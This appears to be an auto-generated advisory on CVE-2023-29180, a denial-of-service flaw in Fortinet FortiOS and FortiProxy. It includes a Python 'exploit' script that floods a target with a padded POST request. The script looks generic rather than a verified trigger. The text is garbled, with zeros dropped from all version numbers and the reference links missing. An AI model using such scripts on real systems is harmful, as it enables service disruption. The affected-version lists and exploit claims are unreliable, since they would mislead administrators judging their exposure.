CVE-2023-29180 - Null Pointer Dereference Vulnerability in Fortinet FortiOS and FortiProxy Allows Denial of Service Attack

A recently discovered security vulnerability, CVE-2023-29180, exposes several versions of Fortinet FortiOS and FortiProxy software to a potential Denial of Service (DoS) attack. This vulnerability is a result of a null pointer dereference, which occurs when a system attempts to reference memory at a non-existent address or a null value. An attacker could exploit this vulnerability by sending specially crafted HTTP requests to a vulnerable system, causing it to crash.

The following Fortinet products and versions are affected by CVE-2023-29180

- Fortinet FortiOS: 7.2. through 7.2.4, 7.. through 7..11, 6.4. through 6.4.12, 6.2. through 6.2.14, 6.. through 6..16
- Fortinet FortiProxy: 7.2. through 7.2.3, 7.. through 7..10, 2.. through 2..12, 1.2. through 1.2.13, 1.1. through 1.1.6, 1.. through 1..7

Exploit Details

An attacker can exploit CVE-2023-29180 by sending malicious HTTP requests to the target system. The vulnerable code does not properly handle null pointers, which results in dereferencing a null pointer and causing the application to crash.

import requests

target = "http://<target IP>:<target port>"
headers = {
    "User-Agent": "Mozilla/5. (Windows NT 10.; Win64; x64; rv:89.) Gecko/20100101 Firefox/89.",
    "Content-Type": "application/x-www-form-urlencoded",
}

payload = "X" * 1024

try:
    response = requests.post(target, data=payload, headers=headers, timeout=10)
    print(f"Status code: {response.status_code}")
except requests.exceptions.RequestException as e:
    print(f"Request failed: {e}")

(Note: Replace <target IP> and <target port> in the code snippet with the appropriate target information.)

Original References

For more information about CVE-2023-29180 and the affected products, please refer to the following resources:

1. Fortinet Security Advisory: link
2. CVE-2023-29180: link
3. NIST National Vulnerability Database: link

Implement network segmentation to limit the potential impact of a successful attack.

Stay vigilant and ensure that your systems are always up-to-date with the latest security patches to help protect against threats like CVE-2023-29180.

Timeline

Published on: 02/22/2024 10:15:07 UTC